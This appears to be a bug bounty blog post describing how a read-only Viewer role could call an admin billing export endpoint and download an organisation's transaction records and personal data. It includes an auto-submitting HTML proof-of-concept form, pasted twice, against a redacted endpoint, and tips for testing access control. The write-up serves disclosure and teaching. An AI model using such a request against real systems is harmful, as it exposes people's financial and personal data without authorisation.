September 3, 2026
How a Viewer Role Snaked into Financial Records
How an Easily Overlooked Button Led to Unauthorized Access to Users’ PII & Financial Data ($X,XXX)
By brbr0s
2 min read
Hi hackers, I'm Mahmoud Barkat (aka brbr0s) a bug hunter who's always trying to learn more and get better at what he does.
I'm currently focusing on logic flaws and access control bugs in web apps, here I'll share some of the bugs I found and things I learned along the journey.
First of all, we attribute all grace to Allah; without Him we wouldn't have been guided nor given charity nor prayed.
Let's get started
During one of my recent bug bounty engagements I came across an easily overlooked button that allows unauthorized access to users' PII & financial data and ended me up with $x,xxx reward.
Flaws like this can be easily missed during your testing, but it just requires you to be curious about those subtle buttons.
Walkthrough the Flow
One of the company's services is organization management system which is designed around three main roles: Admin, Purchaser and Viewer.
Where admin has full control over the org settings, user management, while purchaser handles billing & subscriptions and the viewer is restricted to read-only access for limited services.
This setup creates a fertile environment for broken access control bugs…
I started mapping and analyzing each role's privileges and their behaviors (section by section, feature by feature) and everything looked properly secured against BAC flaws. The last section I checked was Billing: where only admins and purchasers have access to while viewers don't.
As a Viewer, I tried accessing the billing page (which returns all org transactions data and invoices) but the server responded with 403 Forbidden, effectively blocking any direct access from the viewer session.
However while exploring the other admin features, I noticed a button labeled "Export Transactions" that allows admins & purchasers to download the org transactions data files including billing records, invoices and payment details onto their machines.
The Discovery
In a simple way while initiating the export feature from admin session, I intercepted the request and replaced its session cookies with the viewer's ones then forwarded it.
I expected the server would reject my request, but it processed it with 200 OK and returned the encrypted transactions file.
Exploitation
Using this PoC, I directly call the export endpoint from the viewer browser:
<html>
<body>
<form action="https://redacted.redacted.com/billing/transaction-report?customers=%5B%22customer%22%2C%2214759632%22%5D&sc=kh38wfcHJvYMHlTd1SrfvGJbyep43fMO8YD46JaRTYK2GNV02Vnolu5nT_ALr1rK" method="POST">
<input type="submit" value="submit" />
</form>
<script>
window.onload = function() {
document.forms[0].submit()
}
</script>
</script>
</body>
</html><html>
<body>
<form action="https://redacted.redacted.com/billing/transaction-report?customers=%5B%22customer%22%2C%2214759632%22%5D&sc=kh38wfcHJvYMHlTd1SrfvGJbyep43fMO8YD46JaRTYK2GNV02Vnolu5nT_ALr1rK" method="POST">
<input type="submit" value="submit" />
</form>
<script>
window.onload = function() {
document.forms[0].submit()
}
</script>
</script>
</body>
</html>The export request executed successfully and directly downloading the transactions data file.
Confirms that the server processes export file requests without enforcing proper access control based on the user's role privileges.
Impact
This flaw allows low-privileged users to extract and download the org transactions records including names, addresses, emails, invoices and potentially users' financial data.
Tips:
- Test each feature in the app, especially the smallest often overlooked buttons (export features)
- Use burp-ext Autorize to detect these hidden flaws automatically while clicking around
I reviewed a bunch of resources to get started with Autorize, the most interesting ones I found:
لو قدرت أفيدك بحاجة، ادعيلي أعدي فترة تجنيدي على خير واخرج منها متزن نفسيًا وارجع أحسن من الأول…❤️